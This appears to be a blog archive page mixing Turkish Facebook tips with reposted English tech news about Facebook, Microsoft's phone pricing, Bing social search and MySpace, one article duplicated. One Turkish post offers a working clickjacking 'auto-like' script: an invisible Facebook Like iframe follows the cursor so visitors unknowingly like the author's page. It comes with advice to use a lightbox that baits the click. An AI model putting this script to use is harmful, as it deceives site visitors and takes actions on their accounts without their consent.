Showing posts with label Facebook. Show all posts
Showing posts with label Facebook. Show all posts

Facebook Cover PSD Dosyası



Bildiğiniz üzere Facebook yakında yeni tasarımına geçecek ve bununla birlikte profile banner muhabbeti de tarih olacak. Daha güzeli profile banner'dan daha büyük bir banner gelecek. Öncelikle yeni Facebook'a geçmek için şu yazıma gözatın. Eğer geçtiyseniz, dosya bilgileri aşağıdadır ve .psd dosyasıdır. Pixeli Pixeline boyutları tamdır ve güvenle kullanabilirsiniz :) Örnek bir resim aşağıda var.








Rar şifresi: www.furkanozden.blogspot.com

Facebook'un yeni arayüzüne geçiş yapın



Facebook, Google Plus’ın yayın hayatına başlamasından sonra; görünüm ve özelliklerini sıklıkla değiştirmeye başlamıştı.



Facebook CEO’su Mark Zuckerberg bugün; Facebook’un yeni Facebook TimeLine (Zaman Tüneli) görünümünü tanıttı. Facebook TimeLine görünümü oldukça hoş ve kullanışlı bir arayüze sahip. Peki Facebook TimeLine görünümü nasıl aktif yapılır?…



İsterseniz lafı fazla uzatmadan Facebook TimeLine (Zaman Tüneli) görünümünün profiliniz için nasıl aktif hale geleceğini adım adım anlatmaya başlayalım:



    • Facebook profilinize giriş yapın

    • Facebook Developersnı açın yani https://developers.facebook.com/apps adresine girin ve uygulamaya izin verin.

    • Daha sonra, https://developers.facebook.com/apps adresindeki Yeni Uygulama Oluştur butonuna basın.





      • Karşınıza çıkan ekranda ilk boşluğa birşey ikinci boşluğa arada boşluk olmadan birşey yazın sonra aşağıdaki kutucuğu tikleyin.





      • Devam’a bastıktan sonra gelen sayfadaki sol menüden Open Graph‘a tıklayın.





      • Karşınıza çıkan ekranda ilk kutucuğa read ikinci kutucuğa book yazın, watch ve movie de olur :)





      • Şimdi karşınıza çıkan sayfalarda ekranın en altındaki Save Changes and Next, Save Changes and Next, Save and Finish butonlarına basın.

      • 2-3 dakika bekleyin.

      • Profilinize tıklayın, karşınıza yeni Facebook'a geçmeniz ile ilgili bir davetiye tarzı bir şey çıkacak.

      • Yeni arayüzünüz hayırlı olsun :)



      Bütün bunları neden yaptık ?



      Şu an için Facebook yeni arayüzü sadece program geliştiricilerine açık.

      Facebook için sorunsuz çalışan adam gibi Oto-Like kodu



      En çok aranan sorgulardan biride buydu bende hemen olaya el atayım dedim ve adam gibi sapasağlam bir kod buldum. Her otolike kodunda olduğu gibi bu da siteye giren kişinin bir yere tıklamasıyla aktif oluyor. Bunun için site açılışında açılan güzel bir lightbox yaparsanız ziyaretçi bunu kapatmak için çarpıya veya kapat'a basar. Böylece aynı zamanda sayfanızı beğenmiş olur.



      Oto-Like mağduru olmayın



      Eğer buradaki kodu alan bir kişinin sitesine girdiyseniz, yani anladıysanız oto-like olduğunu hemen ardından facebook profilinize girin size yabancı bir sayfa varsa beğenmekten vazgeçin olsun bitsin :)



      Facebook Oto Like kodu



      <script type="text/javascript"> 

      /*
      This code demonstrate a clickjack attack on websites. Similar to that of twitter & on facebook

      */

      (function(){
      var tempX = 0,
      tempY = 0,

      IE = document.all ? true : false;
      if (!IE) document.captureEvents(Event.MOUSEMOVE);

      var like = document.createElement('iframe');
      like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'FACEBOOK SAYFA URL ADRESINIZ') + '&amp;layout=standard&amp;show_faces=true&amp;widt h=53&amp;action=like&amp;colorscheme=light&amp;hei ght=80';
      like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://j.mp/n1m7TB') + '&amp;layout=standard&amp;show_faces=true&amp;widt h=53&amp;action=like&amp;colorscheme=light&amp;hei ght=80';
      like.scrolling = 'no';
      like.frameBorder = 0;
      like.allowTransparency = 'true';
      like.style.border = 0;
      like.style.overflow = 'hidden';
      like.style.cursor = 'pointer';
      like.style.width = '53px';
      like.style.height = '23px';
      like.style.position = 'absolute';
      like.style.opacity = 0; //Would be 0 if really used
      document.getElementsByTagName('body')[0].appendChild(like);

      window.addEventListener('mousemove', mouseMove, false);

      setTimeout(function(){
      document.getElementsByTagName('body')[0].removeChild(like);
      window.removeEventListener('mousemove', mouseMove, false);
      }, 10000);

      function mouseMove(e) {
      if (IE) {
      tempX = event.clientX + document.body.scrollLeft;
      tempY = event.clientY + document.body.scrollTop;
      } else {
      tempX = e.pageX;
      tempY = e.pageY;
      }

      if (tempX < 0) tempX = 0;
      if (tempY < 0) tempY = 0;

      like.style.top = (tempY - 8) + 'px';
      like.style.left = (tempX - 25) + 'px';

      return true
      }
      })();
      </script>


      Kodu sitenizde herhangi bir yere eklemeniz yeterlidir ve son olarak kırmızı yazıyla yazdığım kısmı kendi facebook url'niz ile değiştiriniz.



      Örn:

      • https://www.facebook.com/pages/Can%C4%B1n-Cehenneme-Chelios/18960393444184

      • https://www.facebook.com/FurkanOzdenTR

      gibi. Hadi kolay gelsin :)

      facebook, twitter, yahoo, Digg — Social media Complete wallpaper — , Mixx, Technorati, orkut, Reddit, Entrecard, StumbleUpon, Friendster, Blogger

      Microsoft's Plans for Windows Phone 7 Are a Clear Violation of California Law


      Microsoft is getting ready to take on the iPhone and Android with its new smartphone platform. The company sent off the new system-software to phone makers on Friday, and Windows 7-equipped phones will be on store shelves by the holiday shopping season.

      Microsoft is reportedly spending a billion dollars or more on development and marketing of Windows Phone 7--pretty much guaranteeing the company will take a loss on the product for years--in an effort to chip away at two California-based companies: Apple and Google.

      All of which sounds like business-as-usual in the competitive tech industry. But, in fact, Microsoft's gambit is clearly illegal. How do I know? I read a recent appeals court decision involving Seattle Weekly's parent company, Village Voice Media.

      VVM owns papers in a dozen cities, including San Francisco. That's where the VVM paper, SF Weekly, has been sued--so far, quite successfully--by a competitor, the San Francisco Bay Guardian. The Bay Guardian accuses its rival of unfair business practices, saying the paper engaged in "predatory pricing." At a jury trial two years ago, the Bay Guardian won a $16 million judgment against SF Weekly (which, like all VVM papers, is separately incorporated; VVM is not named in the suit). That decision was upheld last month by the First District Court of Appeal in California.

      In their lengthy written decision, the appellate court judges make it clear that everything Microsoft is doing--investing in the creation of an improved product and selling it at less than its true cost, with the express intent of taking market share from a California competitor--is completely prohibited in the Golden State.

      Under California code, it is against the law for a business there "to sell any article or product at less than the cost...or to give away any article or product, for the purpose of injuring competitors or destroying competition."

      Sounds slightly archaic in the Internet age, right? By this logic, SF-based Facebook engaged in illegal conduct when it started up its free social-networking service, thereby causing irreparable harm to fee-charging Classmates.com, which had been in business for years.

      Nonetheless, the Bay Guardian ruling stands, at least while it's appealed further.

      So where does that leave Microsoft and its smart phone? Clearly in the hot seat. Or so it would be, if it were being subjected to the same absurd, Depression-era standard of conduct being applied to alt-weeklies. Consider the parallels:

      When the company now known as Village Voice Media took over SF Weekly in 1995, "additional salaried journalists were hired to bring high-quality 'long-form journalism' to the paper," as the appellate judges noted. At the same time, however, SF Weekly sold advertising at rates that were "well below" what might be warranted by those high costs, according to trial testimony.

      Likewise, Microsoft has spent heavily to create a new and improved smart phone, developing a new user interface, integrating the phone with Xbox, and adding other features. As TechCrunch reports, Microsoft's licensing fee to phone makers is 15 bucks per phone sold with Windows 7. Which means 67 million Windows 7 phones will have to ship before the company covers its costs. (FYI, Apple hasn't even sold that many iPhones yet.)

      Microsoft's approach here is similar to what the company did with the Xbox and with the Zune--sell at a near-term loss in order to seek long-term market share. It's also what every Internet company has done since the dawn of free search, free e-mail, etc. And it is, apparently, against the law in California.

      Careful readers of the law will note that there's a second prong here: The miscreant party must not only be selling below cost, but for the purpose of harming a competitor.

      In the VVM case, for example, it has been widely reported (even by the New York Times)--and was testified to at trial--that VVM Executive Editor Mike Lacey once allegedly stomped on a copy of the Bay Guardian to convey just how intent he was on destroying the competing weekly.

      Likewise, last year, Steve Ballmer reportedly wrested an iPhone from a Microsoftie's hands and pretended to stomp on it in front of thousands of employees at an all-company meeting.

      The Robber Barons are surely rolling over in their graves at the notion that "stomping" is now sufficient to get you hauled into court.

      So far, Apple has shown no signs of going the route of Bay Guardian owner Bruce Brugmann and suing Microsoft. Maybe because Steve Jobs, unlike Brugmann, has little fear of being outgunned and outmaneuvered by his competitor.

      But keep in mind that failure is no defense in this case. As the California judges observe, the offending party doesn't even have to succeed in harming its competitor to violate the law. "[A]n injurious effect is not an essential element of the violation," they write, quoting a previous court decision from the 1940s.

      So even if Microsoft doesn't manage to make any inroads against the iPhone or Android, it will still be guilty, guilty, guilty....as is every other smart, enterprising company these days.

      In a recent note on the case, two attorneys with the Boston-based firm Bingham McCutcheon, well known for its expertise in antitrust law, wrote as follows:

      The nature of competition is to want to win--to beat the competitor. But [in the wake of the Bay Guardian ruling,] loose talk and hyperbole in staff meetings, PowerPoints, e-mails or elsewhere, when coupled with evidence of pricing below "fully allocated" cost, may now lead to treble damages...regardless of any actual impact on competition or consumers.

      Facebook to Begin Offering Local Deals

      Facebook to Begin Offering Local Deals

      Facebook may not yet have plans to release a phone, but it is clearly intent on expanding its mobile reach.

      On Wednesday, the company announced new features that will allow merchants and retailers to offer coupons and specials though the Facebook mobile application.

      “It starts to solve an age-old problem that local businesses have always had,” said Emily White, director of local at Facebook. “They’ve been told they need to be online. But it hasn’t always been clear what the benefit is. That’s what this deals platform allows. It’s turning those fans, those visitors, those eyeballs into real dollars, real people and real business.”

      Facebook members can see which deals are available when they use Places, Facebook’s location feature, which allows users to check into particular places and broadcast their location to friends. A yellow icon will denote whether there is a redeemable deal or coupon available for a particular venue. Users will show their phone’s screen to a merchant or cashier to claim the deal.

      The new features will pose a big competitive challenge to start-ups that have been experimenting with similar ways to offer rewards and deals on cellphones, including Foursquare, Yelp and Loopt.

      One of Facebook’s first partnerships is with the Gap. The company plans to run a campaign offering a free pair of jeans to the first 10,000 users who check in to their local Gap store using Facebook’s mobile application. Facebook also outlined plans to work with major retailers like H&M and McDonalds for special offers, but eventually all merchants and small businesses with a Facebook page will be able to offer deals through Facebook’s mobile application.

      Local retailers will be able to offer several different kinds of deals, including one-time offers and loyalty rewards, as well as “friend deals,” for those who check in and “tag” multiple friends. Mr. Zuckerberg said it would be difficult to defraud the system because users would be required to be present in order to redeem the coupon.

      Mark Zuckerberg, the founder and chief executive officer of the company, said 200 million people were now accessing Facebook through its mobile application, a threefold increase since last year.

      “Think about Android and iPhone,” he said. “This is a much bigger footprint than that. The only bigger platform is the mobile Web itself.”

      “Our goal is to make everything social, no matter what platform you’re building for,” Mr. Zuckerberg said.



      Facebook to Begin Offering Local Deals

      Facebook may not yet have plans to release a phone, but it is clearly intent on expanding its mobile reach.

      On Wednesday, the company announced new features that will allow merchants and retailers to offer coupons and specials though the Facebook mobile application.

      “It starts to solve an age-old problem that local businesses have always had,” said Emily White, director of local at Facebook. “They’ve been told they need to be online. But it hasn’t always been clear what the benefit is. That’s what this deals platform allows. It’s turning those fans, those visitors, those eyeballs into real dollars, real people and real business.”

      Facebook members can see which deals are available when they use Places, Facebook’s location feature, which allows users to check into particular places and broadcast their location to friends. A yellow icon will denote whether there is a redeemable deal or coupon available for a particular venue. Users will show their phone’s screen to a merchant or cashier to claim the deal.

      The new features will pose a big competitive challenge to start-ups that have been experimenting with similar ways to offer rewards and deals on cellphones, including Foursquare, Yelp and Loopt.

      One of Facebook’s first partnerships is with the Gap. The company plans to run a campaign offering a free pair of jeans to the first 10,000 users who check in to their local Gap store using Facebook’s mobile application. Facebook also outlined plans to work with major retailers like H&M and McDonalds for special offers, but eventually all merchants and small businesses with a Facebook page will be able to offer deals through Facebook’s mobile application.

      Local retailers will be able to offer several different kinds of deals, including one-time offers and loyalty rewards, as well as “friend deals,” for those who check in and “tag” multiple friends. Mr. Zuckerberg said it would be difficult to defraud the system because users would be required to be present in order to redeem the coupon.

      Mark Zuckerberg, the founder and chief executive officer of the company, said 200 million people were now accessing Facebook through its mobile application, a threefold increase since last year.

      “Think about Android and iPhone,” he said. “This is a much bigger footprint than that. The only bigger platform is the mobile Web itself.”

      “Our goal is to make everything social, no matter what platform you’re building for,” Mr. Zuckerberg said.



      Using Facebook Updates to Chronicle Breakups

      Using Facebook Updates to Chronicle Breakups

      Facebook Break up dataMathias Mikkelsen via David McCandless data

      David McCandless, a London-based author, writer and designer, is constantly playing with data sets available online and translating heaps of code into well-designed visual stories.

      Some of Mr. McCandless’s notable projects include visualizing the billions of dollars spent by people and governments around the world and visually explaining the different views of United States politicians, divided by their political predilection.

      Working with Lee Byron, an information interaction designer at Facebook, Mr. McCandless recently chronicled another interesting data set: when couples break up.

      The two designers answered this question by scanning over 10,000 Facebook status updates over a yearlong period and then plotting them on an annual graph.

      In a recent TED Talk discussing the project, Mr. McCandless explained that most breakups occur three times in the year — in the weeks leading up to spring breaks, right before the start of the summer holidays and a couple of weeks before Christmas.

      His research also found that people tend to break up with their significant others on Mondays, presumably after a weekend grapple.

      Thankfully, the lowest day of the year for breakups is Christmas.

      For researchers the flood of data flowing through these social networks can offer treasure troves of information that in the past would have been nearly impossible to find. Facebook says on its Web site that “people spend over 700 billion minutes per month on Facebook.”



      EA's social games to run on Facebook Credits

      Facebook's Credits currency will be the official payment method in the social-gaming portfolio from games giant Electronic Arts, which consists largely of what it got when it paid $300 million for Playfish last year, according to a five-year agreement that the two companies announced yesterday. Playfish had previously been a holdout among the big social-gaming companies in that it wasn't strictly using Facebook Credits in its games; now, it promises "a simplified, more accessible experience for people who play games and purchase virtual goods on Facebook" through the exclusive use of Credits.

      "Since gaming has emerged as the most popular category of applications on Facebook, the natural next step is for EA to broaden its relationship with Facebook and its 500 million users," said Barry Cottle, senior vice president and general manager for EA Interactive. "Our goal is to make the best games tailored specifically to the platforms on which people want to play."

      Social games, especially those that are free to play on a basic level but where players have been shelling out cash for virtual items and new levels, were already a massive sensation on Facebook long before Facebook was offering its own virtual currency, and plenty of start-ups offering currency and transaction systems popped up on the platform.

      Many were, in theory, cheaper for developers to implement than Facebook's eventual in-house option: Facebook takes a 30 percent cut of transactions made with Credits, which made some developers grumble about giving up that kind of revenue. There were rumors that Zynga, the biggest game developer on Facebook's platform, was considering bailing on Facebook entirely, but then the two signed a five-year agreement that "increases their shared commitment to social gaming on Facebook and expands use of Facebook Credits in Zynga's games."

      Playdom, another big social-games manufacturer, signed a similar five-year agreement in July, shortly after its $563 million sale to Disney was announced.

      Why has EA taken so long? Playfish's slow adoption of Facebook Credits, one industry source told CNET, has less to do with skepticism of the Facebook Credits model than with bureaucracy: When Facebook Credits started to roll out in full, Playfish was in the thick of the EA acquisition and had to jump through significantly more hoops to put such a deal into action.

      Caroline McCarthy, a CNET News staff writer, is a downtown Manhattanite happily addicted to social-media tools and restaurant blogs. Her pre-CNET resume includes interning at an IT security firm and brewing cappuccinos. E-mail Caroline.


      Read more: http://news.cnet.com/8301-13577_3-20021632-36.html?tag=mncol#ixzz14EgtlmMJ


      Bing goes live with Facebook social search

      Bing&#39;s new social search lets you access the profiles of your Facebook friends.

      Bing's new social search lets you access the profiles of your Facebook friends.

      (Credit: Bing)

      Bing has rolled out its new social search, a feature that can display profiles and updates from your Facebook friends as part of your Bing search results.

      This step of the Facebook integration has been in the works for a few weeks, but the techs at Bing fine-tuned the feature before yesterday's rollout, according to a post on the official Bing blog.

      The new social search integrates with Facebook in a couple of ways.

      If you opt to link your Facebook account with your Bing log-in, searching for the name of one of your Facebook friends in Bing brings up a link to that person's entire profile in your results. This is true even if that person has elected not to share their Facebook profile with any search engines, since only you can see those results. So if you have a Facebook friend named Jerry Seinfeld, a link to his profile will appear alongside results for the famed comedian.

      Early testers of the Facebook integration were apparently unhappy that they couldn't view the profiles of their friends through Bing with the same ease they could through Facebook itself, according to the blog, leading Microsoft to set up this specific type of access.

      Further, Bing tweaked the age requirements. Facebook requires its users to be 13 or older, but Bing initially limited profile search results to people 18 and older. Based on customer feedback, Microsoft changed this option to let all your Facebook friends regardless of age show up in your Bing search results.

      The Bing and Facebook team-up also can retrieve results for items "liked by your Facebook friends." So if you're looking for opinions on a certain movie or restaurant, Bing can show you any Facebook friends who "liked" those specific items.

      The ease with which Facebook information can flow into Bing may arouse some privacy concerns. The integration is a one-way street, so no information goes from Bing back to Facebook. But still, anyone wary of the new social search can control or turn off the feature on both accounts.



      Read more: http://news.cnet.com/8301-10805_3-20021622-75.html?tag=mncol#ixzz14EgbPer4


      Live blog Wednesday: Facebook mobile event

      Facebook event invitation (Credit: Facebook)

      Join us Wednesday morning for live coverage of Facebook's mobile event, taking place at the company's headquarters in Palo Alto, Calif., at 10:30 a.m. PT.

      I'll be there, along with CNET's mobile phone and software expert Jessica Dolcourt to bring you news updates and photos, as well as a hands-on if possible of whatever might be announced.

      As usual, we'll be using Cover It Live to deliver the story as it unfolds. That means you can just bookmark this page and come back to it tomorrow, or plug your e-mail address into the form below, and get a reminder when it's about to start.

      As for what to expect in the way of news, it could be anything from an updated version of the company's mobile application, all the way to the rumored (and denied) branded smartphone.



      Read more: http://news.cnet.com/8301-27076_3-20021521-248.html?tag=topStories3#ixzz14EgBlyGu


      Google Employees' Latest Perk: Servants

      It's all part of the tech giant's attempt to woo the best and the brightest

      Work at Google, have someone else iron your shirts.
      Work at Google, have someone else iron your shirts.  
      (AP Photo/Mark Baker)
      (Newser) – Should you need a reason to hate your job a little bit more, get a load of the latest perk Google is offering its employees: "runners" (or, as Gawker helpfully identifies them, "servants") who can empty the trash, scrub the bathroom, or do any other pesky chore Googlers aren't into. In a bid to woo engineers, the tech giant is giving its workers credits for TaskRabbit, an online service that allows users to post an errand and have background-checked runners fight for the privilege (and pay) that comes from completing tasks like "cook dinner for 2" or "assemble four items from Ikea."

      Study Shows When Facebook Users Are Most Active

      For the past three years, a social media management company called Vitrue has been examining Facebook activity patterns around brands and companies. The study, which Vitrue recently released, reveals the days and times when certain brands experience the most activity from their Facebook fans.



      According to Mashable, "Vitrue analyzed Facebook post data from August 10, 2007 to October 10, 2010 from more than 1,500 brand streams -- more than 1.64 million posts and 7.56 million comments in all. Shares and 'likes' were not included in the study."

      Myspace Rearranges Furniture, Slaps On Fresh Coat of PaintMyspace Rearranges Furniture, Slaps On Fresh Coat of Paint

      Myspace Rearranges Furniture, Slaps On Fresh Coat of PaintMyspace Rearranges Furniture, Slaps On Fresh Coat of Paint 

      Myspace says it's not competing with Facebook anymore. Instead, the social network -- which has lost serious numbers of mainstream users but retained a core of music fans -- is redesigning itself with an entertainment focus. "It's a big risk," said Pund-IT analyst Charles King. "I don't think anyone has really cracked the entertainment hub code ... but Myspace certainly knows its user base, so maybe they can."


      Myspace announced a site redesign Wednesday as it attempts to cement its position as an entertainment niche in social networking and stem the flow of users to the exit door. The News Corp. (Nasdaq: NWS) unit is seeking to become the online destination for "social entertainment" -- a place where Gen Y'rs can share music and videos, as well as share likes and dislikes with fellow fans.

      MySpace Faces the Music


      MySpace Faces the Music

      MySpace Faces the Music
      The once-mighty MySpace has given up trying to reclaim its glory as the world's largest general-purpose social network, a title now firmly in Facebook's grasp. Instead, MySpace is undertaking a significant redesign that will put the focus on the types of users it's managed to more or less keep on board: musicians and music fans. Meanwhile, Ellison grappled with Apotheker, Firesheep exposed public WiFi and LimeWire went sour.

      Facebook 'Friendship' Tool May Cause Some Squirming

      Facebook 'Friendship' Tool May Cause Some Squirming

      Facebook 'Friendship' Tool May Cause Some Squirming
      Facebook has a way of taking the innocuous and turning it into the problematic, and its new "friendship" tool may fit that category. It allows users to convert public information to pages that shine a spotlight on the relationships between two people -- and it's not clear whether both have to agree to the match-up. Advertisers, on the other hand, are salivating at the possibilities.

      Facebook holding mobile event next week

      Facebook's event invite
      Facebook's event invite
      (Credit: Facebook)
       
      The much-rumored and quickly denied Facebook phone could finally be unveiled next week--or at least something new relating to using the social network on mobile devices.